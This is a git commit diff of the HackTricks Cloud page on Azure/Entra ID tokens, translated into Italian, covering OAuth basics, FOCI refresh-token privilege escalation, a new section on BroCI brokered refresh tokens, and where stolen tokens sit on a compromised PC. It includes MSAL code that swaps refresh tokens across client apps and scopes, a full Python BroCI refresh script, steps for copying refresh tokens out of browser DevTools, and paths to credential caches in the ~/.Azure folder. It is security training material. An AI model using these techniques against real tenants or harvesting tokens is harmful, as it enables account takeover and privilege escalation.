mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+389
-58
@@ -1,86 +1,86 @@
|
||||
# Az - Token & Applicazioni Pubbliche
|
||||
# Az - Token e Applicazioni Pubbliche
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Entra ID è la piattaforma di identity and access management (IAM) cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
|
||||
Entra ID è la piattaforma Microsoft per la gestione delle identità e degli accessi (IAM) basata sul cloud, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
|
||||
|
||||
### OAuth
|
||||
|
||||
**Partecipanti chiave in OAuth 2.0:**
|
||||
|
||||
1. **Resource Server (RS):** Protegge le risorse possedute dal resource owner.
|
||||
2. **Resource Owner (RO):** Tipicamente un utente finale che possiede le risorse protette.
|
||||
3. **Client Application (CA):** Un'applicazione che richiede accesso alle risorse per conto del resource owner.
|
||||
4. **Authorization Server (AS):** Emette access token alle client application dopo averle autenticate e autorizzate.
|
||||
1. **Server di risorse (RS):** Protegge le risorse possedute dal proprietario della risorsa.
|
||||
2. **Proprietario della risorsa (RO):** Tipicamente un utente finale che possiede le risorse protette.
|
||||
3. **Applicazione client (CA):** Un'applicazione che richiede accesso alle risorse per conto del proprietario della risorsa.
|
||||
4. **Server di autorizzazione (AS):** Emette access token alle applicazioni client dopo averle autenticato e autorizzate.
|
||||
|
||||
**Scopes e consenso:**
|
||||
**Ambiti e Consenso:**
|
||||
|
||||
- **Scopes:** Permessi granulari definiti sul resource server che specificano i livelli di accesso.
|
||||
- **Consent:** Il processo tramite il quale un resource owner concede a una client application il permesso di accedere a risorse con specifici scopes.
|
||||
- **Ambiti (Scopes):** Permessi granulari definiti sul server di risorse che specificano i livelli di accesso.
|
||||
- **Consenso:** Il processo mediante il quale il proprietario della risorsa concede a un'applicazione client il permesso di accedere alle risorse con ambiti specifici.
|
||||
|
||||
**Integrazione con Microsoft 365:**
|
||||
|
||||
- Microsoft 365 utilizza Azure AD per IAM ed è composto da molteplici applicazioni OAuth "first-party".
|
||||
- Queste applicazioni sono profondamente integrate e spesso hanno relazioni di servizio interdipendenti.
|
||||
- Per semplificare l'esperienza utente e mantenere la funzionalità, Microsoft concede "implied consent" o "pre-consent" a queste applicazioni first-party.
|
||||
- **Consenso implicito:** Alcune applicazioni sono automaticamente **concesse l'accesso a specifici scopes senza approvazione esplicita dell'utente o dell'amministratore**.
|
||||
- Questi scopes pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
|
||||
- **Implied Consent:** Alcune applicazioni vengono automaticamente **concesse l'accesso a specifici ambiti senza il consenso esplicito dell'utente o dell'amministratore**.
|
||||
- Questi ambiti pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
|
||||
|
||||
**Tipi di Client Application:**
|
||||
**Tipi di Applicazioni Client:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- Possiedono credenziali proprie (es. password o certificati).
|
||||
- Possono **autenticarsi in modo sicuro** verso l'authorization server.
|
||||
- Possono **autenticarsi in modo sicuro** al server di autorizzazione.
|
||||
2. **Public Clients:**
|
||||
- Non hanno credenziali uniche.
|
||||
- Non possono autenticarsi in modo sicuro verso l'authorization server.
|
||||
- **Implicazione di sicurezza:** Un attaccante può impersonare una public client application durante la richiesta di token, dato che non esiste un meccanismo per l'authorization server per verificare la legittimità dell'applicazione.
|
||||
- Non possono autenticarsi in modo sicuro al server di autorizzazione.
|
||||
- **Implicazione di sicurezza:** Un attaccante può impersonare un'applicazione client pubblica quando richiede token, poiché non esiste un meccanismo per il server di autorizzazione per verificare la legittimità dell'applicazione.
|
||||
|
||||
## Token di autenticazione
|
||||
## Token di Autenticazione
|
||||
|
||||
Esistono **tre tipi di token** usati in OIDC:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza — che di default è 1 ora.
|
||||
- **ID Tokens**: Il client riceve questo **token dall'authorization server**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**.
|
||||
- **Refresh Tokens**: Fornito al client insieme all'access token. Usato per **ottenere nuovi access e ID token**. È vincolato a una specifica combinazione di utente e client e può essere revocato. La scadenza predefinita è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (da un refresh token è possibile ottenere nuovi refresh token).
|
||||
- Un refresh token dovrebbe essere legato a un **`aud`**, ad alcuni **scopes**, e a un **tenant** e dovrebbe poter generare solo access token per quell'aud, quei scopes (e non di più) e quel tenant. Tuttavia, questo non è il caso con i token di **FOCI applications**.
|
||||
- Un refresh token è crittografato e solo Microsoft può decrittarlo.
|
||||
- Ottenere un nuovo refresh token non revoca il refresh token precedente.
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza - che per default è 1 ora.
|
||||
- **ID Tokens**: Il client riceve questo **token dal server di autorizzazione**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**.
|
||||
- **Refresh Tokens**: Forniti al client insieme all'access token. Usati per **ottenere nuovi access e ID token**. Sono vincolati a una specifica combinazione di utente e client e possono essere revocati. La scadenza di default è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (essendo possibile ottenere nuovi refresh token da un refresh token).
|
||||
- Un refresh token dovrebbe essere legato a un `aud`, ad alcuni **scopes**, e a un **tenant** e dovrebbe essere in grado di generare solo access token per quell'aud, quegli scopes (e non oltre) e quel tenant. Tuttavia, questo non è il caso con i **token delle applicazioni FOCI**.
|
||||
- Un refresh token è cifrato e solo Microsoft può decifrarlo.
|
||||
- Ottenere un nuovo refresh token non revoca il precedente refresh token.
|
||||
|
||||
> [!WARNING]
|
||||
> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi potrai usare quel token da un **IP non consentito per accedere alle risorse**.
|
||||
> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi usare quel token da un **IP non consentito per accedere alle risorse**.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
Il valore indicato nel campo "aud" è il **resource server** (l'applicazione) utilizzato per effettuare il login.
|
||||
|
||||
Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ciascuno di essi aggiungerà un "aud" specifico nell'access token risultante:
|
||||
Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ognuno di essi aggiungerà un "aud" specifico nell'access token risultante:
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che quanto segue sono solo le API supportate da `az account get-access-token`, ma ce ne sono altre.
|
||||
> Nota che quanto segue sono solo le API supportate da `az account get-access-token` ma ce ne sono di più.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esempi di aud</summary>
|
||||
<summary>aud examples</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati della directory in Azure Active Directory (Azure AD).
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati di directory in Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Usato per gestire risorse Azure tramite l'Azure Resource Manager API. Include operazioni come creare, aggiornare e eliminare risorse come macchine virtuali, account di storage e altro.
|
||||
* **arm (Azure Resource Manager)**: Usato per gestire le risorse Azure tramite l'API Azure Resource Manager. Questo include operazioni come creare, aggiornare e cancellare risorse come macchine virtuali, account di storage e altro.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Usato per accedere ad Azure Batch, un servizio che abilita applicazioni di calcolo parallelo e ad alte prestazioni su larga scala nel cloud.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analytics.
|
||||
* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analisi dati.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di media video e audio.
|
||||
- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di contenuti video e audio.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e insight da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security.
|
||||
* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e informazioni da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Usato per accedere ai servizi Database di Azure per motori relazionali open-source come MySQL, PostgreSQL e MariaDB.
|
||||
@@ -88,13 +88,13 @@ Il comando `az account get-access-token --resource-type [...]` supporta i seguen
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
### Scope degli Access Tokens "scp"
|
||||
|
||||
Lo scope di un access token è memorizzato nella chiave scp dentro l'access token JWT. Questi scopes definiscono a cosa ha accesso l'access token.
|
||||
Lo scope di un access token è memorizzato nella chiave scp all'interno del JWT dell'access token. Questi ambiti definiscono a cosa l'access token ha accesso.
|
||||
|
||||
Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non potrà eseguire l'azione** con quel JWT.
|
||||
Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non sarà in grado di eseguire l'azione** con quel JWT.
|
||||
|
||||
### Esempio: ottenere refresh & access token
|
||||
### Esempio per ottenere refresh & access token
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -151,24 +151,25 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
- **acr**: The Authentication Context Class Reference claim è "0" quando l'autenticazione dell'utente finale non ha soddisfatto i requisiti di ISO/IEC 29115.
|
||||
- **amr**: The Authentication method indica come il token è stato autenticato. Un valore “pwd” indica che è stata usata una password.
|
||||
- **groups**: Indica i gruppi di cui il principal è membro.
|
||||
- **iss**: L'issuer identifica lo security token service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (l'uuid è il tenant ID)
|
||||
- **iss**: L'iss identifica lo Security Token Service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
|
||||
- **oid**: L'object ID del principal
|
||||
- **tid**: Tenant ID
|
||||
- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo momento, solitamente stesso valore di iat), Expiration time.
|
||||
- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo tempo, solitamente stesso valore di iat), Expiration time.
|
||||
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
In precedenza è stato menzionato che i refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** per cui sono stati generati. Se uno di questi confini viene violato, è possibile effettuare privilege escalation in quanto sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes rispetto a quanto previsto originariamente.
|
||||
In precedenza è stato menzionato che refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** a cui sono stati generati. Se uno qualsiasi di questi confini viene violato, è possibile effettuare privilege escalation poiché sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes di quanto originariamente previsto.
|
||||
|
||||
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
|
||||
Inoltre, nota che le applicazioni FOCI sono public applications, quindi **non è necessario alcun secret** per autenticarsi al server.
|
||||
Inoltre, nota che le FOCI applications sono public applications, quindi **no secret is needed** per autenticarsi al server.
|
||||
|
||||
I client FOCI noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
I FOCI clients noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
### Ottenere uno scope diverso
|
||||
### Get different scope
|
||||
|
||||
Continuando con l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
|
||||
Seguendo l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -185,7 +186,7 @@ scopes=[
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
### Ottenere client e scopes diversi
|
||||
### Ottieni client e scopes diversi
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
@@ -201,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"],
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## Dove trovare tokens
|
||||
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
|
||||
|
||||
Dal punto di vista di un attaccante è molto utile sapere dove è possibile trovare access and refresh tokens quando, per esempio, il PC di una vittima viene compromesso:
|
||||
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
|
||||
|
||||
- Inside **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** contiene informazioni sugli utenti che hanno effettuato il login in passato
|
||||
- **`clouds.config contains`** info about subscriptions
|
||||
- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, clients e secret). Solo in Linux & macOS
|
||||
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
|
||||
|
||||
### Obiettivo e scopo
|
||||
|
||||
Lo scopo di BroCI è riutilizzare una sessione utente valida da una catena di app compatibili con broker e richiedere token per una diversa coppia app/risorsa di fiducia. Questo permette di "escalare i privilegi" dal token originale.
|
||||
|
||||
Dal punto di vista offensivo, questo è importante perché:
|
||||
|
||||
- Può sbloccare percorsi di app first-party pre-consensuate non accessibili con normali refresh exchanges.
|
||||
- Può restituire access token per API ad alto valore (per esempio, Microsoft Graph) sotto identità di app con ampi permessi delegati.
|
||||
- Espande le opportunità di token pivoting post-authentication oltre il classico switching di client FOCI.
|
||||
|
||||
Ciò che cambia in un NAA/BroCI refresh token non è il formato visibile del token, ma il **contesto di emissione** e i metadati legati al broker che Microsoft verifica durante le operazioni di refresh brokered.
|
||||
|
||||
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
|
||||
|
||||
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
|
||||
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
|
||||
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
|
||||
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
|
||||
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
|
||||
- You need a refresh token already issued by a compatible brokered flow.
|
||||
|
||||
Check the web **<https://entrascopes.com/>** to find BroCI configured apps and the trust relationships they have.
|
||||
|
||||
### Modello mentale
|
||||
|
||||
Pensa a BroCI come:
|
||||
|
||||
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
|
||||
|
||||
Se una qualsiasi parte di quella catena broker non corrisponde, lo scambio fallisce.
|
||||
|
||||
### Dove trovare un BroCI-valid refresh token
|
||||
|
||||
One practical way is browser portal traffic collection:
|
||||
|
||||
1. Accedi a `https://entra.microsoft.com` (or Azure portal).
|
||||
2. Apri DevTools -> Network.
|
||||
3. Filtra per:
|
||||
- `oauth2/v2.0/token`
|
||||
- `management.core.windows.net`
|
||||
4. Individua la risposta contenente il token brokered e copia `refresh_token`.
|
||||
5. Usa quel refresh token con i parametri BroCI corrispondenti (`brk_client_id`, `redirect_uri`, `origin`) quando richiedi token per app target (per esempio scenari ADIbizaUX / Microsoft_Azure_PIMCommon).
|
||||
|
||||
### Errori comuni
|
||||
|
||||
- `AADSTS900054`: Il contesto del refresh token non corrisponde alla tupla broker fornita (`brk_client_id` / `redirect_uri` / `origin`) o il token non proviene da un flow portal brokered.
|
||||
- `AADSTS7000218`: Il client flow selezionato richiede una credenziale confidenziale (`client_secret`/assertion), spesso visto quando si prova device code con un client non pubblico.
|
||||
|
||||
<details>
|
||||
<summary>Helper Python per BroCI refresh (broci_auth.py)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Python implementation of EntraTokenAid Broci refresh flow.
|
||||
|
||||
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
|
||||
- brk_client_id
|
||||
- redirect_uri
|
||||
- Origin header
|
||||
|
||||
Usage:
|
||||
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
|
||||
|
||||
How to obtain a Broci-valid refresh token (authorized testing only):
|
||||
1) Open https://entra.microsoft.com and sign in.
|
||||
2) Open browser DevTools -> Network.
|
||||
3) Filter requests for:
|
||||
- "oauth2/v2.0/token"
|
||||
- "management.core.windows.net"
|
||||
4) Locate the portal broker token response and copy the "refresh_token" value
|
||||
(the flow should be tied to https://management.core.windows.net//).
|
||||
5) Use that token with this script and Broci params:
|
||||
|
||||
python3 broci_auth.py \
|
||||
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
|
||||
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
|
||||
--tenant "organizations" \
|
||||
--api "graph.microsoft.com" \
|
||||
--scope ".default offline_access" \
|
||||
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
|
||||
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
|
||||
--origin "https://entra.microsoft.com" \
|
||||
--token-out
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
|
||||
GUID_RE = re.compile(
|
||||
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
|
||||
)
|
||||
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
|
||||
|
||||
|
||||
def resolve_api_scope_url(api: str, scope: str) -> str:
|
||||
"""
|
||||
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
|
||||
"""
|
||||
if GUID_RE.match(api):
|
||||
base_resource = api
|
||||
elif api.lower().startswith("urn:") or "://" in api:
|
||||
base_resource = api
|
||||
else:
|
||||
base_resource = f"https://{api}"
|
||||
|
||||
base_resource = base_resource.rstrip("/")
|
||||
|
||||
resolved: list[str] = []
|
||||
for token in scope.split():
|
||||
if not token.strip():
|
||||
continue
|
||||
if "://" in token:
|
||||
resolved.append(token)
|
||||
elif token.lower().startswith("urn:"):
|
||||
resolved.append(token)
|
||||
elif token in OIDC_SCOPES:
|
||||
resolved.append(token)
|
||||
elif GUID_RE.match(token):
|
||||
resolved.append(f"{token}/.default")
|
||||
else:
|
||||
normalized = ".default" if token in {"default", ".default"} else token
|
||||
resolved.append(f"{base_resource}/{normalized}")
|
||||
|
||||
return " ".join(resolved)
|
||||
|
||||
|
||||
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
|
||||
parts = jwt_token.split(".")
|
||||
if len(parts) != 3:
|
||||
raise ValueError("Invalid JWT format.")
|
||||
payload = parts[1]
|
||||
padding = "=" * ((4 - len(payload) % 4) % 4)
|
||||
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
|
||||
return json.loads(decoded.decode("utf-8"))
|
||||
|
||||
|
||||
def refresh_broci_token(
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scope: str,
|
||||
api: str,
|
||||
tenant: str,
|
||||
user_agent: str,
|
||||
origin: str | None,
|
||||
brk_client_id: str | None,
|
||||
redirect_uri: str | None,
|
||||
disable_cae: bool,
|
||||
) -> dict[str, Any]:
|
||||
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
|
||||
|
||||
headers = {
|
||||
"User-Agent": user_agent,
|
||||
"X-Client-Sku": "MSAL.Python",
|
||||
"X-Client-Ver": "1.31.0",
|
||||
"X-Client-Os": "win32",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
}
|
||||
if origin:
|
||||
headers["Origin"] = origin
|
||||
|
||||
body: dict[str, str] = {
|
||||
"grant_type": "refresh_token",
|
||||
"client_id": client_id,
|
||||
"scope": api_scope_url,
|
||||
"refresh_token": refresh_token,
|
||||
}
|
||||
if not disable_cae:
|
||||
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
|
||||
if brk_client_id:
|
||||
body["brk_client_id"] = brk_client_id
|
||||
if redirect_uri:
|
||||
body["redirect_uri"] = redirect_uri
|
||||
|
||||
data = urllib.parse.urlencode(body).encode("utf-8")
|
||||
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
|
||||
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8")
|
||||
except urllib.error.HTTPError as e:
|
||||
err_raw = e.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
err_json = json.loads(err_raw)
|
||||
short = err_json.get("error", "unknown_error")
|
||||
desc = err_json.get("error_description", err_raw)
|
||||
raise RuntimeError(f"{short}: {desc}") from None
|
||||
except json.JSONDecodeError:
|
||||
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
|
||||
|
||||
tokens = json.loads(raw)
|
||||
if "access_token" not in tokens:
|
||||
raise RuntimeError("Token endpoint response did not include access_token.")
|
||||
return tokens
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
|
||||
)
|
||||
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
|
||||
parser.add_argument(
|
||||
"--client-id",
|
||||
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
|
||||
help="Client ID (default: Azure CLI).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scope",
|
||||
default=".default offline_access",
|
||||
help="Scopes (default: '.default offline_access').",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
|
||||
)
|
||||
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
|
||||
parser.add_argument(
|
||||
"--user-agent",
|
||||
default="python-requests/2.32.3",
|
||||
help="User-Agent sent to token endpoint.",
|
||||
)
|
||||
parser.add_argument("--origin", default=None, help="Optional Origin header.")
|
||||
parser.add_argument(
|
||||
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-cae",
|
||||
action="store_true",
|
||||
help="Disable CAE claims in token request.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--token-out",
|
||||
action="store_true",
|
||||
help="Print access/refresh tokens in output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--disable-jwt-parsing",
|
||||
action="store_true",
|
||||
help="Do not parse JWT claims.",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Sending request to token endpoint")
|
||||
try:
|
||||
tokens = refresh_broci_token(
|
||||
refresh_token=args.refresh_token,
|
||||
client_id=args.client_id,
|
||||
scope=args.scope,
|
||||
api=args.api,
|
||||
tenant=args.tenant,
|
||||
user_agent=args.user_agent,
|
||||
origin=args.origin,
|
||||
brk_client_id=args.brk_client_id,
|
||||
redirect_uri=args.redirect_uri,
|
||||
disable_cae=args.disable_cae,
|
||||
)
|
||||
except Exception as e:
|
||||
print(f"[!] Error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
expires_in = int(tokens.get("expires_in", 0))
|
||||
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
|
||||
tokens["expiration_time"] = expiration_time
|
||||
|
||||
print(
|
||||
"[+] Got an access token and a refresh token"
|
||||
if tokens.get("refresh_token")
|
||||
else "[+] Got an access token (no refresh token requested)"
|
||||
)
|
||||
|
||||
if not args.disable_jwt_parsing:
|
||||
try:
|
||||
jwt_payload = parse_jwt_payload(tokens["access_token"])
|
||||
audience = jwt_payload.get("aud", "")
|
||||
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
|
||||
tokens["scp"] = jwt_payload.get("scp")
|
||||
tokens["tenant"] = jwt_payload.get("tid")
|
||||
tokens["user"] = jwt_payload.get("upn")
|
||||
tokens["client_app"] = jwt_payload.get("app_displayname")
|
||||
tokens["client_app_id"] = args.client_id
|
||||
tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
</details>
|
||||
|
||||
## Dove trovare i token
|
||||
|
||||
Dal punto di vista di un attacker è molto interessante sapere dove è possibile trovare access and refresh tokens quando, ad esempio, il PC di una vittima è compromesso:
|
||||
|
||||
- All'interno di **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** contiene informazioni sugli utenti autenticati in passato
|
||||
- **`clouds.config contains`** contiene informazioni sulle sottoscrizioni
|
||||
- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, client e secret). Solo in Linux & macOS
|
||||
- **`msal_token_cache.json`** contiene access tokens e refresh tokens. Solo in Linux & macOS
|
||||
- **`service_principal_entries.bin`** and msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI
|
||||
- **`service_principal_entries.bin`** e msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI
|
||||
- **`msal_http_cache.bin`** è una cache di richieste HTTP
|
||||
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** contiene informazioni su login precedenti effettuati con Az PowerShell (ma senza credenziali)
|
||||
